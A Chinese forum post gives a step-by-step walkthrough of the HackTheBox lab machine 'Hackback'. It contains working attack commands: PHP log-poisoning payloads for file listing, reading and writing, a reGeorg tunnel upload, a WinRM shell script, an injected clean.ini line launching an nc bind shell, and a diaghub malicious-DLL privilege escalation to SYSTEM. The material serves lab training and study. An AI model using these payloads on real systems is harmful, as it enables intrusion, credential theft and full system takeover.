电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 754 人浏览分享

HTB靶机渗透系列之Hackback

[复制链接]
754 0
Hackback是一个非常难的靶机,知识点涉及钓鱼网站、参数模糊测试、php日志中毒、HTTP代理、WinRm服务
UserLogger服务、NFTS数据流、恶意dll等知识。感兴趣的同学可以在HackTheBox中进行学习。

1645668334_6216e7ee3e8e67de5dc3e.png

通关思维导图

1646193659_621eebfb94d30cb62ff10.png

0x01 侦查

端口探测

首先通过nmap对目标进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.128 -oA nmap_Hackback

999.png

998.png

扫描结果显示目标开放了80、6666、64381端口

80端口

1645668344_6216e7f8d92b092c6e1fa.png

网站元素查看可以发现该站点采用 ASP.NET

997.png

6666端口

curl http://10.10.10.128:6666

996.png

提示说缺少命令,尝试通过 wfuzz 来对正确的路径进行模糊测试

wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-nam
es.txt --hc 404 http://10.10.10.128:6666/FUZZ

995.png

发现了一些路径,首先探测 help

curl http://10.10.10.128:6666/help

994.png

在 help 中列出了全部参数,那么接下来测试这些路径

curl http://10.10.10.128:6666/hello

993.png

curl http://10.10.10.128:6666/proc | jq -c .[]

899.png

curl http://10.10.10.128:6666/whoami

898.png

curl http://10.10.10.128:6666/list | jq -c .[]

896.png

curl http://10.10.10.128:6666/services | jq -c .[]

895.png

curl -s http://10.10.10.128:6666/netstat | jq -r '.[] | select(.State=2) | "\(.LocalAddress):\(.LocalP
ort) [\(.OwningProcess)]"' | sed 's/::/0.0.0.0/g' | sort -n -t':' -k2

808.png

经过整理可以看到 hello 返回一条打招呼信息;proc 返回进程列表;whoami 返回当前用户具体信息;list 返回网站目录
当中的内容; services 返回服务信息;netstat 返回端口连接情况,相比nmap探测的要多。

64831端口

是一个GoPhish登录界面

806.png

通过默认账号密码 admin/gophish 进入

805.png

在电子邮件模块下存在五个模块,分别是 Admin、Fackbook、HackTheBox、Paypal、Twitter

804.png

点击 Admin 模块,切换到 html 格式,可以发现存在一个域名

803.png

点开其他的模块也可以发现不同的域名,经过整理后如下

admin.hackback.htb
www.facebook.htb
www.hackthebox.htb
www.paypal.htb
www.twitter.htb

将它们添加到hosts文件中配置DNS

vim /etc/hosts
##配置
10.10.10.128 admin.hackback.htb www.hackthebox.htb www.twitter.htb
www.paypal.htb www.facebook.htb

钓鱼网站

设置完成后分别访问四个域

802.png

801.png

800.png

699.png

发现这些站点都是著名网站的登录界面,它们主要用于骗取受害人的登录信息,具体手法是通过发送包含钓鱼网站
的电子邮件,受害者打开邮件访问这些站点输入账号密码后,就会被黑客获取到账号信息。查看数据包发现这些站
点基于PHP和ASP.NET

698.png

管理员登录界面

admin.hackback.htb 是一个不同于钓鱼网站的登录界面,查看页面源代码

697.png

其中存在一个提示<script src="js/.js"></script>,但是访问 js 目录显示403,通过 gobuster 扫描 js 目录

gobuster dir -u http://admin.hackback.htb/js/ -w /usr/share/wordlists/dir
buster/directory-list-2.3-small.txt -x js -t 50

696.png

查看private.js发现如下内容

695.png

一般在js中使用 var 来定义字符串,而这个js择使用 ine 来定义字符串猜测可能是经过rot13编码后的js代码

curl http://admin.hackback.htb/js/private.js | tr 'a-zA-Z' 'n-za-mN-ZA-M'

225.png

放入beautifier.io中进行美化,获得如下 js 代码

var a = ['\x57\x78\x49\x6a\x77\x72\x37\x44\x75\x73\x4f\x38\x47\x73\x4b\x76\x52\x77\x42\x2b\x
77\x71\x33\x44\x75\x4d\x4b\x72\x77\x72\x4c\x44\x67\x63\x4f\x69\x77\x72\x59\x31\x4b\x45\x45\
x67\x47\x38\x4b\x43\x77\x71\x37\x44\x6c\x38\x4b\x33', '\x41\x63\x4f\x4d\x77\x71\x76\x44\x71\
x51\x67\x43\x77\x34\x2f\x43\x74\x32\x6e\x44\x74\x4d\x4b\x68\x5a\x63\x4b\x44\x77\x71\x54\x4
3\x70\x54\x73\x79\x77\x37\x6e\x43\x68\x73\x4f\x51\x58\x4d\x4f\x35\x57\x38\x4b\x70\x44\x73\
x4f\x74\x4e\x43\x44\x44\x76\x41\x6a\x43\x67\x79\x6b\x3d', '\x77\x35\x48\x44\x72\x38\x4f\x37\
x64\x44\x52\x6d\x4d\x4d\x4b\x4a\x77\x34\x6a\x44\x6c\x56\x52\x6e\x77\x72\x74\x37\x77\x37\x
73\x30\x77\x6f\x31\x61\x77\x37\x73\x41\x51\x73\x4b\x73\x66\x73\x4f\x45\x77\x34\x58\x44\x73\
x52\x6a\x43\x6c\x4d\x4f\x77\x46\x7a\x72\x43\x6d\x7a\x70\x76\x43\x41\x6a\x43\x75\x42\x7a\x44
\x73\x73\x4b\x39\x46\x38\x4f\x34\x77\x71\x5a\x6e\x57\x73\x4b\x68'];
(function(c, d) {
    var e = function(f) {
        while (--f) {
            c['push'](c['shift']());
        }
    };
    e(++d);
}(a, 0x66));
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['MsULmv'] === undefined) {
        (function() {
            var f;
            try {
                var g = Function('return\x20(function()\x20' + '{}.constr
uctor(\x22return\x20this\x22)(\x20)' + ');');
                f = g();
            } catch (h) {
                f = window;
            }
            var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn
opqrstuvwxyz0123456789+/=';
            f['atob'] || (f['atob'] = function(j) {
                var k = String(j)['replace'](/=+$/, '');
                for (var l = 0x0, m, n, o = 0x0, p = ''; n = k['charAt'](o++); ~n && (m = l % 0x4 ? m * 0x40 +
n : n, l++ % 0x4) ? p += String['fromCharCode'](0xff & m >> (-0x2 * l & 0x6)) : 0x0) {
                    n = i['indexOf'](n);
                }
                return p;
            });
        }());
        var q = function(r, d) {
            var t = [],
                u = 0x0,
                v, w = '',
                x = '';
            r = atob(r);
            for (var y = 0x0, z = r['length']; y < z; y++) {
                x += '%' + ('00' + r['charCodeAt'](y)['toString'](0x10))['slice'](-0x2);
            }
            r = decodeURIComponent(x);
            for (var A = 0x0; A < 0x100; A++) {
                t[A] = A;
            }
            for (A = 0x0; A < 0x100; A++) {
                u = (u + t[A] + d['charCodeAt'](A % d['length'])) % 0x100;
                v = t[A];
                t[A] = t;
                t = v;
            }
            A = 0x0;
            u = 0x0;
            for (var B = 0x0; B < r['length']; B++) {
                A = (A + 0x1) % 0x100;
                u = (u + t[A]) % 0x100;
                v = t[A];
                t[A] = t;
                t = v;
                w += String['fromCharCode'](r['charCodeAt'](B) ^ t[(t[A] + t) % 0x100]);
            }
            return w;
        };
        b['OoACcd'] = q;
        b['qSLwGk'] = {};
        b['MsULmv'] = !![];
    }
    var C = b['qSLwGk'][c];
    if (C === undefined) {
        if (b['pIjlQB'] === undefined) {
            b['pIjlQB'] = !![];
        }
        e = b['OoACcd'](e, d);
        b['qSLwGk'][c] = e;
    } else {
        e = C;
    }
    return e;
};
var x = '\x53\x65\x63\x75\x72\x65\x20\x4c\x6f\x67\x69\x6e\x20\x42\x79\x70\x61\x73\x73';
var z = b('0x0', '\x50\x5d\x53\x36');
var h = b('0x1', '\x72\x37\x54\x59');
var y = b('0x2', '\x44\x41\x71\x67');
var t = '\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x28\x73\x68\x6f\x77\x2c\x6c\x69\x73\x74\x2c\x65\x7
8\x65\x63\x2c\x69\x6e\x69\x74\x29';
var s = '\x26\x73\x69\x74\x65\x3d\x28\x74\x77\x69\x74\x74\x65\x72\x2c\x70\x61\x79\x70\x61\x
6c\x2c\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2c\x68\x61\x63\x6b\x74\x68\x65\x62\x6f\x78\x29';
var i = '\x26\x70\x61\x73\x73\x77\x6f\x72\x64\x3d\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a';
var k = '\x26\x73\x65\x73\x73\x69\x6f\x6e\x3d';
var w = '\x4e\x6f\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20\x74\x6f\x20\x73\x61\x79';

这段代码将a设置为三个二进制 blob 的数组,使用 0x66 运行一个函数,定义函数b用于解码
将其放入本地 js 运行,也可在tio.run站点运行

js

> var ...

226.png

根据提示访问2bb6916122f1da34dcd916421e531578目录直接访问会重定向回主目录。在该目录下访问其他
路径会提示404,说明可能存在其他文件,在其中进行目录扫描

gobuster dir -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e5
31578/ -w /usr/share/wordlists/dirb/big.txt -xphp -t 50

QQ截图20220805112913.png

发现webadmin.php,之后开始对参数进行构造,发现 acton=list 下会有回显密码错误

curl 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action
=list&site=hackthebox&password=test&session='

QQ截图20220805112951.png

使用 wfuzz 对密码进行模糊测试

wfuzz -c -w /usr/share/wordlists/SecLists/Passwords/darkweb2017-top1000.txt --hw 0 --hh 17 'http://ad
min.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&
password=FUZZ&session='

113029.png

发现密码为12345678,使用该密码查看返回信息

curl 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=list
&site=hackthebox&password=12345678&session='

10000.png

成功返回日志,但是这是哪个站点的日志呢?经过测试后发现登录 hackthebox后会出现一个新的日志
其中sessionid就是我的内网地址

9999.png

将日志名设置为该seesionid同时修改action为show后可以获取日志内容

curl -b "PHPSESSIONID=3c4b5b07fe829951a788d023036262fb6f49340d22959897bd937d096bc8183d"
'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=show&site
=hackthebox&password=12345678&session=3c4b5b07fe829951a788d023036262fb6f49340d229598
97bd937d096bc8183d'

9998.png

0x02 上线[simple]

php日志中毒

虽然无法知道知道它的真实路径,但是可以将php代码写入日志文件后查看。使用 BurpSuite 抓取 admin.hack
thebox.htb的登录数据包并修改用户名为php代码,将其作为代码执行点

9996.png

查询日志记录

curl -b "PHPSESSIONID=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab95a0018a32a6b5518f7"
'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=show&sit
e=hackthebox&password=12345678&session=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab
95a0018a32a6b5518f7'

9995.png

发现php代码成功执行,那么我们开始执行 whoami

8999.png

返回一个逗号说明 whoami 命令没起作用

8998.png

php可以列出和读取文件都是在 list 和 show 操作中完成的,在创建这些日志文件时也在写入文件那么
可以在执行点中通过函数 scandir 和 print_r 列出目录并打印结果

<?php echo print_r(scandir($_GET['dir']));?>

8996.png

在执行点中通过参数 show 传递 dir 命令

curl -b "PHPSESSIONID=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab95a0018a32a6b5518f7"
'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=show&si
te=hackthebox&password=12345678&session=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab
95a0018a32a6b5518f7&dir=.'

5026.png

成功返回当前目录文件名,在执行点中写入<?php include($_GET['file']);?>尝试进行文件读取

5103.png

curl -b "PHPSESSIONID=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab95a0018a32a6b5518f7"
'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=show&s
ite=hackthebox&password=12345678&session=8870c91857abf06f5f0fe0d9acea7f53d846be75c18a
b95a0018a32a6b5518f7&dir=.&file=index.html'

200.png

成功返回index.html内容。为了防止乱码,在执行点中尝试通过php过滤器经过 base64 编码来读取php文件

curl -b "PHPSESSIONID=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab95a0018a32a6b5518f7"'
http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=show&si
te=hackthebox&password=12345678&session=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab
95a0018a32a6b5518f7&dir=.&file=php://filter/convert.base64-encode/resource=webadmin.php'

199.png

成功返回,将内容进行 base64 解码即可

cat webadmin.php.bs64 | base64 -d

198.png

既然可以读取文件,那么可以尝试写入文件,通过 file_out_contents 在目标上写入文件
先尝试获取一个base64编码

echo "mac is good" | base64 -w0

在执行点中将内容写入日志中完成命令执行

<?php $f="bWFjIGlzIGdvb2QK";file_put_contents("mac.txt",base64_decode($f));?>

197.png

查看当前目录,发现 mac.txt 已经写入,需要注意的是以下命令得执行两次才能看到写入的文件

curl -b "PHPSESSIONID=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab95a0018a32a6b5518f7" '
http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=show&site
=hackthebox&password=12345678&session=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab95
a0018a32a6b5518f7&dir=.'

196.png

访问文件地址查看 mac.txt 文件内容

curl http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/mac.txt

195.png

到目前为止,我们知道该执行点可以列出文件、查看文件以及写入文件。接下来在执行点中写入代码查看上层目录

<?php print_r(scandir('..'));?>

198.png

查看上层文件路径

curl -b "PHPSESSIONID=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab95a0018a32a6b5518f7" '
http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=show&site
=hackthebox&password=12345678&session=8870c91857abf06f5f0fe0d9acea7f53d846be75c18ab95
a0018a32a6b5518f7&dir=..'

188.png

发现 web.config 以及 web.config.old,那么继续在执行点中写入PHP代码查看它们的内容

<?php echo file_get_contents('../web.config');?>

<?php echo file_get_contents('../web.config.old');?>

186.png

在 web.config.old 中发现存在 Windows 用户账号密码

219.png

借助代理完成WinRM上线

在之前的信息收集我们知道6666端口监听的是 winRM 服务,该站点上可以运行 ASP.NET 以及 php但是在 php
中存在被阻止函数,所以我们尝试使用 ASP.NET 类型的代理,那么开始上传 regeorg 代理

工具地址:https://github.com/sensepost/reGeorg

首先将tunnel.aspx转换为base64编码

cat tunnel.aspx | base64 -w0

185.png

上传该base64编码并通过base64_decode()解码

184.png

执行后访问日志,再查看文件可以发现隧道已经建立,说明成功上传代理脚本

curl 'http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?act
ion=list&site=hackthebox&password=12345678&session='
curl http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx

183.png

接下来设置 proxychains 本地代理

vim /etc/proxychains4.conf
## 配置
127.0.0.1 8888
使用 reGeorgSocksProxy 开启代理,建立 http 隧道

python reGeorgSocksProxy.py -p 8888 -u http://admin.hackback.htb/2bb6916122f
1da34dcd916421e531578/tunnel.aspx

182.png

通过 WinRm 脚本连接,对 Alamot 的Ruby脚本增添上传功能。代码如下

原脚本地址:https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell.rb


require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt

conn = WinRM::Connection.new(
  endpoint: 'http://127.0.0.1:5985/wsman',
  user: 'simple',
  password: 'ZonoProprioZomaro:-(',
  :no_ssl_peer_verification => true
)

file_manager = WinRM::FS::FileManager.new(conn)


class String
  def tokenize
    self.
      split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
      select {|s| not s.empty? }.
      map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
  end
end


command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
  output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi -force $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        if command.start_with?('UPLOAD') then
            upload_command = command.tokenize
            print("Uploading " + upload_command[1] + " to " + upload_command[2])
            file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied,
total_bytes, local_path, remote_path|
                puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
            end
            command = "echo `nOK`n"
        end

        output = shell.run(command) do |stdout, stderr|
            STDOUT.print(stdout)
            STDERR.print(stderr)
        end
    end
    puts("Exiting with code #{output.exitcode}")
end

通过代理执行winrm_shell.rb

proxychains ruby winrm_shell.rb

181.png



成功上线 simple 用户

0x03 权限提升[hacker]

查看本地环境

powershell环境

查看当前语言环境为完整的语言模式

$executioncontext.sessionstate.languagemode

180.png

AppLocker绕过

上传 nc.exe 到\windows\system32\spool\drivers\color目录下,用于绕过 AppLocker
UPLOAD /root/hackthebox/Machines/Hackback/nc.exe C:\Windows\system3
2\spool\drivers\color\nc.exe

169.png

在本地开启nc监听443端口,但是无法回连

\Windows\system32\spool\drivers\color\nc.exe 10.10.14.14 443

防火墙限制

查看防火墙是否对出口流量作出了限制

cmd /c "netsh advfirewall show currentprofile"

138.png

防火墙默认设置是阻止进出,查看对应的规则

cmd /c "netsh advfirewall firewall show rule name=all"

136.png

显示存在两个规则:ping、web,其中 web 端口包括80、6666和64831,因此我们只能通过这几个端口出口流量

查看目录文件

查看根目录,重点关注util目录

dir c:\

132.png

查看该目录下的所有文件

dir c:\util -force

131.png

重点关注隐藏文件夹scripts

dir c:\util\scripts

130.png

发现 log.txt 和 batch.log 今天还在更新,而 dellog.ps1 是一个脚本。我们只能查看log.txt,而batch.log
和 dellog.ps1 没有权限查看

129.png

128.png

命令注入完成nc上线

检查文件 clean.ini,猜测是 dellog.ps1 的参数文件

dellog.ps1 执行时会把 clean.ini 中的内容作为参数执行,因此这里存在命令注入漏洞我们可以编
辑clean.ini向其中写入命令

echo [Main] > C:\util\scripts\clean.ini
echo Lifetime=100 >> C:\util\scripts\clean.ini
echo "LogFile=c:\util\scripts\log.txt & cmd.exe /c c:\\Windows\system32\spool\dr
ivers\color\nc.exe -lvp 2222 -e cmd.exe" >> C:\util\scripts\clean.ini
echo "Directory=c:\inetpub\logs\logfiles" >> C:\util\scripts\clean.ini

126.png

成功写入命令,过五分钟左右监听器会启动,通过代理 nc 可连接目标

proxychains nc 10.10.10.128 2222

122.png

成功获取shell,在当前用户桌面上找到第一个flag

dir c:\Users\hacker\Desktop

type c:\Users\hacker\Desktop\user.txt

121.png

成功拿到第一个flag

0x04 权限提升[system]

分析UserLogger服务

通过枚举可以发现存在一个不认识的服务UserLogger,在注册表查看该服务

reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\userlogger

QQ截图20220805150341.png

启动服务UserLogger,指定目录为c:\mac

sc start userlogger c:\mac

5150744.png

查看根目录发现 mac.log 已经生成,查看该日志文件

9999.png

查看文件权限,为 everyone

cacls C:\mac.log

1330.png

经过分析这个服务可以将输入路径的最后一个文件名拼接上.log,同时修改文件的权限。由于windows
的文件名不接受可以在文件名最后加上:进行截断,也就是当它读取.log的所有内容时,:将被删除新权
限将被应用到文件名上。

NTFS数据流读取root.txt

那么可以尝试读取root.txt。首先进入administrator目录

sc start userlogger "c:\users\administrator:"
icacls c:\users\administrator
cd c:\users\administrator

22.png

成功进入,接下来读取root.txt

sc stop userlogger
sc start userlogger "c:\users\administrator\desktop\root.txt:"

如果在 cmd 下直接读取是读取不到的,需要转换到 powershell 命令窗口才可以看到

poweshell
copy c:\users\administrator\desktop\root.txt .
cat root.txt

21.png

该文件不是我们想要的,应该需要使用ntfs数据流来进行读取

Get-Item c:\users\administrator\root.txt -force -stream *

20.png

cat c:\users\administrator\root.txt:flag.txt

19.png

成功获取第二个flag

恶意dll上线system

在2018年4月,Google的Project Zero发表文章,谈论 diaghub 服务可以指示 system32 以system身份从内部加载
dll那么当它加载时,不会检查文件的扩展名,所以只要写入一个 dll 到 system32 中,就可以要求 diaghub 加载它
鉴于此我可以使用与 system 相同的路径,通过 userlogger 写入 system32,将恶意dll放入log文件中,然后调用
diaghub 来加载它。

exp源地址:https://github.com/decoder-it/diaghub_exploit

开始制作恶意 dll 文件,在此需要使用到 Visual Stdio,将上述文件夹打开并生成选择SDK为10.0.17736.0

18.png

成功生成项目

17.png

在shell中将以下代码写入 mac.bat 中

C:\Windows\system32\spool\drivers\color\nc.exe -l -p 5555 -e cmd.exe

16.png

在 FakeDLL.cpp 中修改命令代码为本地执行bat脚本路径

15.png

点击重新生成即可

13.png

同理在 diaghub_exploit.cpp 中修改执行的目录环境,用于绕过 AppLocker 应用策略

12.png

点击重新生成,然后在目录中找到 diaghub_exploit.exe 和 FakeDll.dll

11.png

把它们上传到C:\Windows\system32\spool\drivers\color\目录下

UPLOAD diaghub_exploit.exe C:\Windows\system32\spool\drivers\color\mac.exe

UPLOAD FakeDll.dll C:\Windows\system32\spool\drivers\color\FakeDll.dll

10.png

进入 powershell 命令行开启 UserLogger,并将 FakeDll.dll 拷贝到C:\windows\system32\目录下

cmd /c  "sc.exe start userlogger C:\windows\system32\mac"

copy C:\Windows\system32\spool\drivers\color\FakeDll.dll C:\windows\system32\mac.log

9.png

但是显示进入失败,说明恶意dll文件未上传到C:\windows\system32\目录下,查看 mac.log

ls c:\windows\system32 | findstr mac

8.png

在其中未直接生成log文件,观看 appsec 视频说是需要使用Invoke-Expression来完成写入

Invoke-Expression "sc.exe start UserLogger C:\windows\system32\mac"

但是我还是没写入到C:\windows\system32\目录中,原来是nc的运行位数搞错了,需要上传64位的nc

UPLOAD /root/hackthebox/Machines/Hackback/nc64.exe C:\Windows\syste
m32\spool\drivers\color\nc.exe

再次执行可以看到 mac.log

7.png

接下来就是将恶意dll程序复制到C:\windows\system32\目录并重命名为mac.log,然后执行运行exp程序即可

copy C:\Windows\system32\spool\drivers\color\FakeDll.dll C:\windows\system32\mac.log
C:\Windows\system32\spool\drivers\color\mac.exe mac.log

查看本地端口开放情况,如果开放了5555端口那么说明exp利用成功

6.png

最后通过代理连接可获取到system

proxychains nc 10.10.10.128 5555

5.png

通过 ntfs 数据流获取flag

dir c:\users\administrator\Desktop /a /r
cd c:\users\administrator\Desktop
powershell -c Get-Content -stream root.txt:flag.txt

4.png

总结

在一系列钓鱼网站中找到管理员登陆界面,通过js代码分析发现登陆接口存在php日志中毒,在参数中插入php代码会成功执行
通过日志可以查看执行结果。通过该漏洞读取web.config.old,其中存在系统用户的账号密码,通过WinRM登陆用户,在靶机
中的隐藏文件夹里找到ps以及对应配置ini,修改配置ini文件插入反弹命令完成命令注入从而完成权限提升。分析UserLogger
服务借助NTFS数据流能够成功读取flag,可制作恶意dll放入系统路径并加载diaghub帮助我们执行bat文件中的命令,最终成
功获取系统权限。该靶机的主要难点还是在于php日志中毒和UserLogger服务。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.